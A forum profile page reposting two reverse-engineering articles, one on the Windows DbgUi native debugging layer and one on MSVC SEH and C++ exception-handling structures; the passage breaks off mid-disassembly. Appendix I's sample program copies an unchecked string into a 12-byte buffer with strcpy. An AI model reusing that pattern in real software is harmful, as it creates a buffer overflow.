Jump to content

Nytro

Administrators
  • Posts

    18785
  • Joined

  • Last visited

  • Days Won

    738

Everything posted by Nytro

  1. Windows Native Debugging Internals Author: AlexIonescu Introduction In part two of this three part article series, the native interface to Windows debugging is dissected in detail. The reader is expected to have some basic knowledge of C and general NT Kernel architecture and semantics. Also, this is not an introduction on what debugging is or how to write a debugger. It is meant as a reference for experienced debugger writers, or curious security experts. Native Debugging Now it's time to look at the native side of things, and how the wrapper layer inside ntdll.dll communicates with the kernel. The advantage of having the DbgUi layer is that it allows better separation between Win32 and the NT Kernel, which has always been a part of NT design. NTDLL and NTOSKRNL are built together, so it's normal for them to have intricate knowledge of each others. They share the same structures, they need to have the same system call IDs, etc. In a perfect world, the NT Kernel should have to know nothing about Win32. Additionally, it helps anyone that wants to write debugging capabilities inside a native application, or to write a fully-featured native-mode debugger. Without DbgUi, one would have to call the Nt*DebugObject APIs manually, and do some extensive pre/post processing in some cases. DbgUi simplifies all this work to a simple call, and provides a clean interface to do it. If the kernel changes internally, DbgUi will probably stay the same, only its internal code would be modified. We start our exploration with the function responsible for creating and associating a Debug Object with the current Process. Unlike in the Win32 world, there is a clear distinction between creating a Debug Object, and actually attaching to a process. NTSTATUSNTAPI DbgUiConnectToDbg(VOID) { OBJECT_ATTRIBUTES ObjectAttributes; /* Don't connect twice */ if (NtCurrentTeb()->DbgSsReserved[1]) return STATUS_SUCCESS; /* Setup the Attributes */ InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, 0); /* Create the object */ return ZwCreateDebugObject(&NtCurrentTeb()->DbgSsReserved[1], DEBUG_OBJECT_ALL_ACCESS, &ObjectAttributes, TRUE); } As you can see, this is a trivial implementation, but it shows us two things. Firstly, a thread can only have one debug object associated to it, and secondly, the handle to this object is stored in the TEB's DbgSsReserved array field. Recall that in Win32, the first index, [0], is where the Thread Data was stored. We've now learnt that [1] is where the handle is stored. Now let's see how attaching and detaching are done: NTSTATUSNTAPI DbgUiDebugActiveProcess(IN HANDLE Process) { NTSTATUS Status; /* Tell the kernel to start debugging */ Status = NtDebugActiveProcess(Process, NtCurrentTeb()->DbgSsReserved[1]); if (NT_SUCCESS(Status)) { /* Now break-in the process */ Status = DbgUiIssueRemoteBreakin(Process); if (!NT_SUCCESS(Status)) { /* We couldn't break-in, cancel debugging */ DbgUiStopDebugging(Process); } } /* Return status */ return Status; } NTSTATUS NTAPI DbgUiStopDebugging(IN HANDLE Process) { /* Call the kernel to remove the debug object */ return NtRemoveProcessDebug(Process, NtCurrentTeb()->DbgSsReserved[1]); } Again, these are very simple implementations. We can learn, however, that the kernel is not responsible for actually breaking inside the remote process, but that this is done by the native layer. This DbgUiIssueRemoteBreakin API is also used by Win32 when calling DebugBreakProcess, so let's look at it: NTSTATUSNTAPI DbgUiIssueRemoteBreakin(IN HANDLE Process) { HANDLE hThread; CLIENT_ID ClientId; NTSTATUS Status; /* Create the thread that will do the breakin */ Status = RtlCreateUserThread(Process, NULL, FALSE, 0, 0, PAGE_SIZE, (PVOID)DbgUiRemoteBreakin, NULL, &hThread, &ClientId); /* Close the handle on success */ if(NT_SUCCESS(Status)) NtClose(hThread); /* Return status */ return Status; } All it does is create a remote thread inside the process, and then return to the caller. Does that remote thread do anything magic? Let's see: VOIDNTAPI DbgUiRemoteBreakin(VOID) { /* Make sure a debugger is enabled; if so, breakpoint */ if (NtCurrentPeb()->BeingDebugged) DbgBreakPoint(); /* Exit the thread */ RtlExitUserThread(STATUS_SUCCESS); } Nothing special at all; the thread makes sure that the process is really being debugged, and then issues a breakpoint. And, because this API is exported, you can call it locally from your own process to issue a debug break (but note that you will kill your own thread). In our look at the Win32 Debugging implementation, we've noticed that the actual debug handle is never used, and that calls always go through DbgUi. Then the NtSetInformationDebugObject system call was called, a special DbgUi API was called before, to actually get the debug object associated with the thread. This API also has a counterpart, so let's see both in action: HANDLENTAPI DbgUiGetThreadDebugObject(VOID) { /* Just return the handle from the TEB */ return NtCurrentTeb()->DbgSsReserved[1]; } VOID NTAPI DbgUiSetThreadDebugObject(HANDLE DebugObject) { /* Just set the handle in the TEB */ NtCurrentTeb()->DbgSsReserved[1] = DebugObject; } For those familiar with object-oriented programming, this will seem similar to the concept of accessor and mutator methods. Even though Win32 has perfect access to this handle and could simply read it on its own, the NT developers decided to make DbgUi much like a class, and make sure access to the handle goes through these public methods. This design allows the debug handle to be stored anywhere else if necessary, and only these two APIs will require changes, instead of multiple DLLs in Win32. Now for a visit of the wait/continue functions, which under Win32 were simply wrappers: NTSTATUSNTAPI DbgUiContinue(IN PCLIENT_ID ClientId, IN NTSTATUS ContinueStatus) { /* Tell the kernel object to continue */ return ZwDebugContinue(NtCurrentTeb()->DbgSsReserved[1], ClientId, ContinueStatus); } NTSTATUS NTAPI DbgUiWaitStateChange(OUT PDBGUI_WAIT_STATE_CHANGE DbgUiWaitStateCange, IN PLARGE_INTEGER TimeOut OPTIONAL) { /* Tell the kernel to wait */ return NtWaitForDebugEvent(NtCurrentTeb()->DbgSsReserved[1], TRUE, TimeOut, DbgUiWaitStateCange); } Not surprisingly, these functions are also wrappers in DbgUi. However, this is where things start to get interesting, since if you'll recall, DbgUi uses a completely different structure for debug events, called DBGUI_WAIT_STATE_CHANGE. There is one API that we have left to look at, which does the conversion, so first, let's look at the documentation for this structure: //// User-Mode Debug State Change Structure // typedef struct _DBGUI_WAIT_STATE_CHANGE { DBG_STATE NewState; CLIENT_ID AppClientId; union { struct { HANDLE HandleToThread; DBGKM_CREATE_THREAD NewThread; } CreateThread; struct { HANDLE HandleToProcess; HANDLE HandleToThread; DBGKM_CREATE_PROCESS NewProcess; } CreateProcessInfo; DBGKM_EXIT_THREAD ExitThread; DBGKM_EXIT_PROCESS ExitProcess; DBGKM_EXCEPTION Exception; DBGKM_LOAD_DLL LoadDll; DBGKM_UNLOAD_DLL UnloadDll; } StateInfo; } DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; The fields should be pretty self-explanatory, so let's look at the DBG_STATE enumeration: //// Debug States // typedef enum _DBG_STATE { DbgIdle, DbgReplyPending, DbgCreateThreadStateChange, DbgCreateProcessStateChange, DbgExitThreadStateChange, DbgExitProcessStateChange, DbgExceptionStateChange, DbgBreakpointStateChange, DbgSingleStepStateChange, DbgLoadDllStateChange, DbgUnloadDllStateChange } DBG_STATE, *PDBG_STATE; If you take a look at the Win32 DEBUG_EVENT structure and associated debug event types, you'll notice some differences which might be useful to you. For starters, Exceptions, Breakpoints and Single Step exceptions are handled differently. In the Win32 world, only two distinctions are made: RIP_EVENT for exceptions, and EXCEPTION_DEBUG_EVENT for a debug event. Although code can later figure out if this was a breakpoint or single step, this information comes directly in the native structure. You will also notice that OUTPUT_DEBUG_STRING event is missing. Here, it's DbgUi that's at a disadvantage, since the information is sent as an Exception, and post-processing is required (which we'll take a look at soon). There are also two more states that Win32 does not support, which is the Idle state and the Reply Pending state. These don't offer much information from the point of view of a debugger, so they are ignored. Now let's take a look at the actual structures seen in the unions: //// Debug Message Structures // typedef struct _DBGKM_EXCEPTION { EXCEPTION_RECORD ExceptionRecord; ULONG FirstChance; } DBGKM_EXCEPTION, *PDBGKM_EXCEPTION; typedef struct _DBGKM_CREATE_THREAD { ULONG SubSystemKey; PVOID StartAddress; } DBGKM_CREATE_THREAD, *PDBGKM_CREATE_THREAD; typedef struct _DBGKM_CREATE_PROCESS { ULONG SubSystemKey; HANDLE FileHandle; PVOID BaseOfImage; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; DBGKM_CREATE_THREAD InitialThread; } DBGKM_CREATE_PROCESS, *PDBGKM_CREATE_PROCESS; typedef struct _DBGKM_EXIT_THREAD { NTSTATUS ExitStatus; } DBGKM_EXIT_THREAD, *PDBGKM_EXIT_THREAD; typedef struct _DBGKM_EXIT_PROCESS { NTSTATUS ExitStatus; } DBGKM_EXIT_PROCESS, *PDBGKM_EXIT_PROCESS; typedef struct _DBGKM_LOAD_DLL { HANDLE FileHandle; PVOID BaseOfDll; ULONG DebugInfoFileOffset; ULONG DebugInfoSize; PVOID NamePointer; } DBGKM_LOAD_DLL, *PDBGKM_LOAD_DLL; typedef struct _DBGKM_UNLOAD_DLL { PVOID BaseAddress; } DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; If you're familiar with the DEBUG_EVENT structure, you should notice some subtle differences. First of all, no indication of the process name, which explains why MSDN documents this field being optional and not used by Win32. You will also notice the lack of a pointer to the TEB in the thread structure. Finally, unlike new processes, Win32 does display the name of any new DLL loaded, but this also seems to be missing in the Load DLL structure; we'll see how this and other changes are dealt with soon. As far as extra information goes however, we have the "SubsystemKey" field. Because NT was designed to support multiple subsystems, this field is critical to identifying from which subsystem the new thread or process was created from. Windows 2003 SP1 adds support for debugging POSIX applications, and while I haven't looked at the POSIX debug APIs, I'm convinced they're built around the DbgUi implementation, and that this field is used differently by the POSIX library (much like Win32 ignores it). Now that we've seen the differences, the final API to look at is DbgUiConvertStateChangeStructure, which is responsible for doing these modifications and fixups: NTSTATUSNTAPI DbgUiConvertStateChangeStructure(IN PDBGUI_WAIT_STATE_CHANGE WaitStateChange, OUT PVOID Win32DebugEvent) { NTSTATUS Status; OBJECT_ATTRIBUTES ObjectAttributes; THREAD_BASIC_INFORMATION ThreadBasicInfo; LPDEBUG_EVENT DebugEvent = Win32DebugEvent; HANDLE ThreadHandle; /* Write common data */ DebugEvent->dwProcessId = (DWORD)WaitStateChange-> AppClientId.UniqueProcess; DebugEvent->dwThreadId = (DWORD)WaitStateChange->AppClientId.UniqueThread; /* Check what kind of even this is */ switch (WaitStateChange->NewState) { /* New thread */ case DbgCreateThreadStateChange: /* Setup Win32 code */ DebugEvent->dwDebugEventCode = CREATE_THREAD_DEBUG_EVENT; /* Copy data over */ DebugEvent->u.CreateThread.hThread = WaitStateChange->StateInfo.CreateThread.HandleToThread; DebugEvent->u.CreateThread.lpStartAddress = WaitStateChange->StateInfo.CreateThread.NewThread.StartAddress; /* Query the TEB */ Status = NtQueryInformationThread(WaitStateChange->StateInfo. CreateThread.HandleToThread, ThreadBasicInformation, &ThreadBasicInfo, sizeof(ThreadBasicInfo), NULL); if (!NT_SUCCESS(Status)) { /* Failed to get PEB address */ DebugEvent->u.CreateThread.lpThreadLocalBase = NULL; } else { /* Write PEB Address */ DebugEvent->u.CreateThread.lpThreadLocalBase = ThreadBasicInfo.TebBaseAddress; } break; /* New process */ case DbgCreateProcessStateChange: /* Write Win32 debug code */ DebugEvent->dwDebugEventCode = CREATE_PROCESS_DEBUG_EVENT; /* Copy data over */ DebugEvent->u.CreateProcessInfo.hProcess = WaitStateChange->StateInfo.CreateProcessInfo.HandleToProcess; DebugEvent->u.CreateProcessInfo.hThread = WaitStateChange->StateInfo.CreateProcessInfo.HandleToThread; DebugEvent->u.CreateProcessInfo.hFile = WaitStateChange->StateInfo.CreateProcessInfo.NewProcess. FileHandle; DebugEvent->u.CreateProcessInfo.lpBaseOfImage = WaitStateChange->StateInfo.CreateProcessInfo.NewProcess. BaseOfImage; DebugEvent->u.CreateProcessInfo.dwDebugInfoFileOffset = WaitStateChange->StateInfo.CreateProcessInfo.NewProcess. DebugInfoFileOffset; DebugEvent->u.CreateProcessInfo.nDebugInfoSize = WaitStateChange->StateInfo.CreateProcessInfo.NewProcess. DebugInfoSize; DebugEvent->u.CreateProcessInfo.lpStartAddress = WaitStateChange->StateInfo.CreateProcessInfo.NewProcess. InitialThread.StartAddress; /* Query TEB address */ Status = NtQueryInformationThread(WaitStateChange->StateInfo. CreateProcessInfo.HandleToThread, ThreadBasicInformation, &ThreadBasicInfo, sizeof(ThreadBasicInfo), NULL); if (!NT_SUCCESS(Status)) { /* Failed to get PEB address */ DebugEvent->u.CreateThread.lpThreadLocalBase = NULL; } else { /* Write PEB Address */ DebugEvent->u.CreateThread.lpThreadLocalBase = ThreadBasicInfo.TebBaseAddress; } /* Clear image name */ DebugEvent->u.CreateProcessInfo.lpImageName = NULL; DebugEvent->u.CreateProcessInfo.fUnicode = TRUE; break; /* Thread exited */ case DbgExitThreadStateChange: /* Write the Win32 debug code and the exit status */ DebugEvent->dwDebugEventCode = EXIT_THREAD_DEBUG_EVENT; DebugEvent->u.ExitThread.dwExitCode = WaitStateChange->StateInfo.ExitThread.ExitStatus; break; /* Process exited */ case DbgExitProcessStateChange: /* Write the Win32 debug code and the exit status */ DebugEvent->dwDebugEventCode = EXIT_PROCESS_DEBUG_EVENT; DebugEvent->u.ExitProcess.dwExitCode = WaitStateChange->StateInfo.ExitProcess.ExitStatus; break; /* Any sort of exception */ case DbgExceptionStateChange: case DbgBreakpointStateChange: case DbgSingleStepStateChange: /* Check if this was a debug print */ if (WaitStateChange->StateInfo.Exception.ExceptionRecord. ExceptionCode == DBG_PRINTEXCEPTION_C) { /* Set the Win32 code */ DebugEvent->dwDebugEventCode = OUTPUT_DEBUG_STRING_EVENT; /* Copy debug string information */ DebugEvent->u.DebugString.lpDebugStringData = (PVOID)WaitStateChange-> StateInfo.Exception.ExceptionRecord. ExceptionInformation[1]; DebugEvent->u.DebugString.nDebugStringLength = WaitStateChange->StateInfo.Exception.ExceptionRecord. ExceptionInformation[0]; DebugEvent->u.DebugString.fUnicode = FALSE; } else if (WaitStateChange->StateInfo.Exception.ExceptionRecord. ExceptionCode == DBG_RIPEXCEPTION) { /* Set the Win32 code */ DebugEvent->dwDebugEventCode = RIP_EVENT; /* Set exception information */ DebugEvent->u.RipInfo.dwType = WaitStateChange->StateInfo.Exception.ExceptionRecord. ExceptionInformation[1]; DebugEvent->u.RipInfo.dwError = WaitStateChange->StateInfo.Exception.ExceptionRecord. ExceptionInformation[0]; } else { /* Otherwise, this is a debug event, copy info over */ DebugEvent->dwDebugEventCode = EXCEPTION_DEBUG_EVENT; DebugEvent->u.Exception.ExceptionRecord = WaitStateChange->StateInfo.Exception.ExceptionRecord; DebugEvent->u.Exception.dwFirstChance = WaitStateChange->StateInfo.Exception.FirstChance; } break; /* DLL Load */ case DbgLoadDllStateChange : /* Set the Win32 debug code */ DebugEvent->dwDebugEventCode = LOAD_DLL_DEBUG_EVENT; /* Copy the rest of the data */ DebugEvent->u.LoadDll.lpBaseOfDll = WaitStateChange->StateInfo.LoadDll.BaseOfDll; DebugEvent->u.LoadDll.hFile = WaitStateChange->StateInfo.LoadDll.FileHandle; DebugEvent->u.LoadDll.dwDebugInfoFileOffset = WaitStateChange->StateInfo.LoadDll.DebugInfoFileOffset; DebugEvent->u.LoadDll.nDebugInfoSize = WaitStateChange->StateInfo.LoadDll.DebugInfoSize; /* Open the thread */ InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); Status = NtOpenThread(&ThreadHandle, THREAD_QUERY_INFORMATION, &ObjectAttributes, &WaitStateChange->AppClientId); if (NT_SUCCESS(Status)) { /* Query thread information */ Status = NtQueryInformationThread(ThreadHandle, ThreadBasicInformation, &ThreadBasicInfo, sizeof(ThreadBasicInfo), NULL); NtClose(ThreadHandle); } /* Check if we got thread information */ if (NT_SUCCESS(Status)) { /* Save the image name from the TIB */ DebugEvent->u.LoadDll.lpImageName = &((PTEB)ThreadBasicInfo.TebBaseAddress)-> Tib.ArbitraryUserPointer; } else { /* Otherwise, no name */ DebugEvent->u.LoadDll.lpImageName = NULL; } /* It's Unicode */ DebugEvent->u.LoadDll.fUnicode = TRUE; break; /* DLL Unload */ case DbgUnloadDllStateChange: /* Set Win32 code and DLL Base */ DebugEvent->dwDebugEventCode = UNLOAD_DLL_DEBUG_EVENT; DebugEvent->u.UnloadDll.lpBaseOfDll = WaitStateChange->StateInfo.UnloadDll.BaseAddress; break; /* Anything else, fail */ default: return STATUS_UNSUCCESSFUL; } /* Return success */ return STATUS_SUCCESS; } Let's take a look at the interesting fixups. First of all, the lack of a TEB pointer is easily fixed by calling NtQueryInformationThread with the ThreadBasicInformation type, which returns, among other things, a pointer to the TEB, which is then saved in the Win32 structure. As for Debug Strings, the API analyzes the exception code and looks for DBG_PRINTEXCEPTION_C, which has a specific exception record that is parsed and converted into a debug string output. So far so good, but perhaps the nastiest hack is present in the code for DLL loading. Because a loaded DLL doesn't have a structure like EPROCESS or ETHREAD in kernel memory, but in ntdll's private Ldr structures, the only thing that identifies it is a Section Object in memory for its memory mapped file. When the kernel gets a request to create a section for an executable memory mapped file, it saves the name of the file in a field inside the TEB (or TIB, rather) called ArbitraryUserPointer. This function then knows that a string is located there, and sets it as the pointer for the debug event's lpImageName member. This hack has been in NT every since the first builds, and as far as I know, it's still there in Vista. Could it be that hard to solve? Once again, we come to an end in our discussion, since there isn't much left in ntdll that deals with the Debug Object. Here's an overview of what was discussed in this part of the series: DbgUi provides a level of separation between the kernel and Win32 or other subsystems. It's written as a fully independent class, even having accessor and mutator methods instead of exposing its handles. The handle to a thread's Debug Object is stored in the second field of the DbgSsReserved array in the TEB. DbgUi allows a thread to have a single DebugObject, but using the native system calls allows you to do as many as you want. Most DbgUi APIs are simple wrappers around the NtXxxDebugObject system calls, and use the TEB handle to communicate. DbgUi is responsible for breaking into the attached process, not the kernel. DbgUi uses its own structure for debug events, which the kernel understands. In some ways, this structure provides more information about some events (such as the subsystem and whether this was a single step or a breakpoint exception), but in others, some information is missing (such as a pointer to the thread's TEB or a separate debug string structure). The TIB (located inside the TEB)'s ArbitraryPointer member contains the name of the loaded DLL during a Debug Event. Sursa: OpenRCE
  2. Reversing Microsoft Visual C++ Part I: Exception Handling Author: igorsk Abstract Microsoft Visual C++ is the most widely used compiler for Win32 so it is important for the Win32 reverser to be familiar with its inner working. Being able to recognize the compiler-generated glue code helps to quickly concentrate on the actual code written by the programmer. It also helps in recovering the high-level structure of the program. In part I of this 2-part article (see also: Part II: Classes, Methods and RTTI), I will concentrate on the stack layout, exception handling and related structures in MSVC-compiled programs. Some familiarity with assembler, registers, calling conventions etc. is assumed. Terms: Stack frame: A fragment of the stack segment used by a function. Usually contains function arguments, return-to-caller address, saved registers, local variables and other data specific to this function. On x86 (and most other architectures) caller and callee stack frames are contiguous. Frame pointer: A register or other variable that points to a fixed location inside the stack frame. Usually all data inside the stack frame is addressed relative to the frame pointer. On x86 it's usually ebp and it usually points just below the return address. Object: An instance of a (C++) class. Unwindable Object: A local object with auto storage-class specifier that is allocated on the stack and needs to be destructed when it goes out of scope. Stack UInwinding: Automatic destruction of such objects that happens when the control leaves the scope due to an exception. There are two types of exceptions that can be used in a C or C++ program. SEH exceptions (from "Structured Exception Handling"). Also known as Win32 or system exceptions. These are exhaustively covered in the famous Matt Pietrek article[1]. They are the only exceptions available to C programs. The compiler-level support includes keywords __try, __except, __finally and a few others. C++ exceptions (sometimes referred to as "EH"). Implemented on top of SEH, C++ exceptions allow throwing and catching of arbitrary types. A very important feature of C++ is automatic stack unwinding during exception processing, and MSVC uses a pretty complex underlying framework to ensure that it works properly in all cases. In the following diagrams memory addresses increase from top to bottom, so the stack grows "up". It's the way the stack is represented in IDA and opposite to the most other publications. Basic Frame Layout The most basic stack frame looks like following: ... Local variables Other saved registers Saved ebp Return address Function arguments ... Note: If frame pointer omission is enabled, saved ebp might be absent. SEH In cases where the compiler-level SEH (__try/__except/__finally) is used, the stack layout gets a little more complicated. SEH3 Stack Layout When there are no __except blocks in a function (only __finally), Saved ESP is not used. Scopetable is an array of records which describe each __try block and relationships between them: struct _SCOPETABLE_ENTRY { DWORD EnclosingLevel; void* FilterFunc; void* HandlerFunc; } For more details on SEH implementation see[1]. To recover try blocks watch how the try level variable is updated. It's assigned a unique number per try block, and nesting is described by relationship between scopetable entries. E.g. if scopetable entry i has EnclosingLevel=j, then try block j encloses try block i. The function body is considered to have try level -1. See Appendix 1 for an example. Buffer Overrun Protection The Whidbey (MSVC 2005) compiler adds some buffer overrun protection for the SEH frames. The full stack frame layout in it looks like following: SEH4 Stack Layout The GS cookie is present only if the function was compiled with /GS switch. The EH cookie is always present. The SEH4 scopetable is basically the same as SEH3 one, only with added header: struct _EH4_SCOPETABLE { DWORD GSCookieOffset; DWORD GSCookieXOROffset; DWORD EHCookieOffset; DWORD EHCookieXOROffset; _EH4_SCOPETABLE_RECORD ScopeRecord[1]; }; struct _EH4_SCOPETABLE_RECORD { DWORD EnclosingLevel; long (*FilterFunc)(); union { void (*HandlerAddress)(); void (*FinallyFunc)(); }; }; GSCookieOffset = -2 means that GS cookie is not used. EH cookie is always present. Offsets are ebp relative. Check is done the following way: (ebp+CookieXOROffset) ^ [ebp+CookieOffset] == _security_cookie Pointer to the scopetable in the stack is XORed with the _security_cookie too. Also, in SEH4 the outermost scope level is -2, not -1 as in SEH3. C++ Exception Model Implementation When C++ exceptions handling (try/catch) or unwindable objects are present in the function, things get pretty complex. C++ EH Stack Layout EH handler is different for each function (unlike the SEH case) and usually looks like this: (VC7+) mov eax, OFFSET __ehfuncinfo jmp ___CxxFrameHandler __ehfuncinfo is a structure of type FuncInfo which fully describes all try/catch blocks and unwindable objects in the function. struct FuncInfo { // compiler version. // 0x19930520: up to VC6, 0x19930521: VC7.x(2002-2003), 0x19930522: VC8 (2005) DWORD magicNumber; // number of entries in unwind table int maxState; // table of unwind destructors UnwindMapEntry* pUnwindMap; // number of try blocks in the function DWORD nTryBlocks; // mapping of catch blocks to try blocks TryBlockMapEntry* pTryBlockMap; // not used on x86 DWORD nIPMapEntries; // not used on x86 void* pIPtoStateMap; // VC7+ only, expected exceptions list (function "throw" specifier) ESTypeList* pESTypeList; // VC8+ only, bit 0 set if function was compiled with /EHs int EHFlags; }; Unwind map is similar to the SEH scopetable, only without filter functions: struct UnwindMapEntry { int toState; // target state void (*action)(); // action to perform (unwind funclet address) }; Try block descriptor. Describes a try{} block with associated catches. struct TryBlockMapEntry { int tryLow; int tryHigh; // this try {} covers states ranging from tryLow to tryHigh int catchHigh; // highest state inside catch handlers of this try int nCatches; // number of catch handlers HandlerType* pHandlerArray; //catch handlers table }; Catch block descriptor. Describes a single catch() of a try block. struct HandlerType { // 0x01: const, 0x02: volatile, 0x08: reference DWORD adjectives; // RTTI descriptor of the exception type. 0=any (ellipsis) TypeDescriptor* pType; // ebp-based offset of the exception object in the function stack. // 0 = no object (catch by type) int dispCatchObj; // address of the catch handler code. // returns address where to continues execution (i.e. code after the try block) void* addressOfHandler; }; List of expected exceptions (implemented but not enabled in MSVC by default, use /d1ESrt to enable). struct ESTypeList { // number of entries in the list int nCount; // list of exceptions; it seems only pType field in HandlerType is used HandlerType* pTypeArray; }; RTTI type descriptor. Describes a single C++ type. Used here to match the thrown exception type with catch type. struct TypeDescriptor { // vtable of type_info class const void * pVFTable; // used to keep the demangled name returned by type_info::name() void* spare; // mangled type name, e.g. ".H" = "int", ".?AUA@@" = "struct A", ".?AVA@@" = "class A" char name[0]; }; Unlike SEH, each try block doesn't have a single associated state value. The compiler changes the state value not only on entering/leaving a try block, but also for each constructed/destroyed object. That way it's possible to know which objects need unwinding when an exception happens. You can still recover try blocks boundaries by inspecting the associated state range and the addresses returned by catch handlers (see Appendix 2). Throwing C++ Exceptions throw statements are converted into calls of _CxxThrowException(), which actually raises a Win32 (SEH) exception with the code 0xE06D7363 ('msc'|0xE0000000). The custom parameters of the Win32 exception include pointers to the exception object and its ThrowInfo structure, using which the exception handler can match the thrown exception type against the types expected by catch handlers. struct ThrowInfo { // 0x01: const, 0x02: volatile DWORD attributes; // exception destructor void (*pmfnUnwind)(); // forward compatibility handler int (*pForwardCompat)(); // list of types that can catch this exception. // i.e. the actual type and all its ancestors. CatchableTypeArray* pCatchableTypeArray; }; struct CatchableTypeArray { // number of entries in the following array int nCatchableTypes; CatchableType* arrayOfCatchableTypes[0]; }; Describes a type that can catch this exception. struct CatchableType { // 0x01: simple type (can be copied by memmove), 0x02: can be caught by reference only, 0x04: has virtual bases DWORD properties; // see above TypeDescriptor* pType; // how to cast the thrown object to this type PMD thisDisplacement; // object size int sizeOrOffset; // copy constructor address void (*copyFunction)(); }; // Pointer-to-member descriptor. struct PMD { // member offset int mdisp; // offset of the vbtable (-1 if not a virtual base) int pdisp; // offset to the displacement value inside the vbtable int vdisp; }; We'll delve more into this in the next article. Prologs and Epilogs Instead of emitting the code for setting up the stack frame in the function body, the compiler might choose to call specific prolog and epilog functions instead. There are several variants, each used for specific function type: [TABLE] [TR] [TD=class: table_sub_header]Name[/TD] [TD=class: table_sub_header]Type[/TD] [TD=class: table_sub_header, align: right]EH Cookie[/TD] [TD=class: table_sub_header, align: right]GS Cookie[/TD] [TD=class: table_sub_header, align: right]Catch Handlers[/TD] [/TR] [TR=class: table_row_1] [TD]_SEH_prolog/_SEH_epilog [/TD] [TD]SEH3 [/TD] [TD=align: right]-[/TD] [TD=align: right]-[/TD] [TD=align: right] [/TD] [/TR] [TR=class: table_row_2] [TD]_SEH_prolog4/_SEH_epilog4 S [/TD] [TD]EH4 [/TD] [TD=align: right]+[/TD] [TD=align: right]-[/TD] [TD=align: right] [/TD] [/TR] [TR=class: table_row_1] [TD]_SEH_prolog4_GS/_SEH_epilog4_GS [/TD] [TD]SEH4 [/TD] [TD=align: right]+[/TD] [TD=align: right]+[/TD] [TD=align: right] [/TD] [/TR] [TR=class: table_row_2] [TD]_EH_prolog [/TD] [TD]C++ EH[/TD] [TD=align: right]-[/TD] [TD=align: right]-[/TD] [TD=align: right]+/-[/TD] [/TR] [TR=class: table_row_1] [TD]_EH_prolog3/_EH_epilog3 [/TD] [TD]C++ EH[/TD] [TD=align: right]+[/TD] [TD=align: right]-[/TD] [TD=align: right]- [/TD] [/TR] [TR=class: table_row_2] [TD]_EH_prolog3_catch/_EH_epilog3 [/TD] [TD]C++ EH[/TD] [TD=align: right]+[/TD] [TD=align: right]-[/TD] [TD=align: right]+ [/TD] [/TR] [TR=class: table_row_1] [TD]_EH_prolog3_GS/_EH_epilog3_GS [/TD] [TD]C++ EH[/TD] [TD=align: right]+[/TD] [TD=align: right]+[/TD] [TD=align: right]- [/TD] [/TR] [TR=class: table_row_2] [TD]_EH_prolog3_catch_GS/_EH_epilog3_catch_GS[/TD] [TD]C++ EH[/TD] [TD=align: right]+[/TD] [TD=align: right]+[/TD] [TD=align: right]+ [/TD] [/TR] [/TABLE] SEH2 Apparently was used by MSVC 1.XX (exported by crtdll.dll). Encountered in some old NT programs. ... Saved edi Saved esi Saved ebx Next SEH frame Current SEH handler (__except_handler2) Pointer to the scopetable Try level Saved ebp (of this function) Exception pointers Local variables Saved ESP Local variables Callee EBP Return address Function arguments ... Appendix I: Sample SEH Program Let's consider the following sample disassembly. func1 proc near _excCode = dword ptr -28hbuf = byte ptr -24h_saved_esp = dword ptr -18h_exception_info = dword ptr -14h_next = dword ptr -10h_handler = dword ptr -0Ch_scopetable = dword ptr -8_trylevel = dword ptr -4str = dword ptr 8 push ebp mov ebp, esp push -1 push offset _func1_scopetable push offset _except_handler3 mov eax, large fs:0 push eax mov large fs:0, esp add esp, -18h push ebx push esi push edi ; --- end of prolog --- mov [ebp+_trylevel], 0 ;trylevel -1 -> 0: beginning of try block 0 mov [ebp+_trylevel], 1 ;trylevel 0 -> 1: beginning of try block 1 mov large dword ptr ds:123, 456 mov [ebp+_trylevel], 0 ;trylevel 1 -> 0: end of try block 1 jmp short _endoftry1 _func1_filter1: ; __except() filter of try block 1 mov ecx, [ebp+_exception_info] mov edx, [ecx+EXCEPTION_POINTERS.ExceptionRecord] mov eax, [edx+EXCEPTION_RECORD.ExceptionCode] mov [ebp+_excCode], eax mov ecx, [ebp+_excCode] xor eax, eax cmp ecx, EXCEPTION_ACCESS_VIOLATION setz al retn _func1_handler1: ; beginning of handler for try block 1 mov esp, [ebp+_saved_esp] push offset aAccessViolatio ; "Access violation" call _printf add esp, 4 mov [ebp+_trylevel], 0 ;trylevel 1 -> 0: end of try block 1 _endoftry1: mov edx, [ebp+str] push edx lea eax, [ebp+buf] push eax call _strcpy add esp, 8 mov [ebp+_trylevel], -1 ; trylevel 0 -> -1: end of try block 0 call _func1_handler0 ; execute __finally of try block 0 jmp short _endoftry0 _func1_handler0: ; __finally handler of try block 0 push offset aInFinally ; "in finally" call _puts add esp, 4 retn _endoftry0: ; --- epilog --- mov ecx, [ebp+_next] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retnfunc1 endp _func1_scopetable ;try block 0 dd -1 ;EnclosingLevel dd 0 ;FilterFunc dd offset _func1_handler0 ;HandlerFunc ;try block 1 dd 0 ;EnclosingLevel dd offset _func1_filter1 ;FilterFunc dd offset _func1_handler1 ;HandlerFunc The try block 0 has no filter, therefore its handler is a __finally{} block. EnclosingLevel of try block 1 is 0, so it's placed inside try block 0. Considering this, we can try to reconstruct the function structure: void func1 (char* str) { char buf[12]; __try // try block 0 { __try // try block 1 { *(int*)123=456; } __except(GetExceptCode() == EXCEPTION_ACCESS_VIOLATION) { printf("Access violation"); } strcpy(buf,str); } __finally { puts("in finally"); } } Appendix II: Sample Program with C++ Exceptions func1 proc near _a1 = dword ptr -24h_exc = dword ptr -20he = dword ptr -1Cha2 = dword ptr -18ha1 = dword ptr -14h_saved_esp = dword ptr -10h_next = dword ptr -0Ch_handler = dword ptr -8_state = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset func1_ehhandler mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 14h push ebx push esi push edi mov [ebp+_saved_esp], esp ; --- end of prolog --- lea ecx, [ebp+a1] call A::A(void) mov [ebp+_state], 0 ; state -1 -> 0: a1 constructed mov [ebp+a1], 1 ; a1.m1 = 1 mov byte ptr [ebp+_state], 1 ; state 0 -> 1: try { lea ecx, [ebp+a2] call A::A(void) mov [ebp+_a1], eax mov byte ptr [ebp+_state], 2 ; state 2: a2 constructed mov [ebp+a2], 2 ; a2.m1 = 2 mov eax, [ebp+a1] cmp 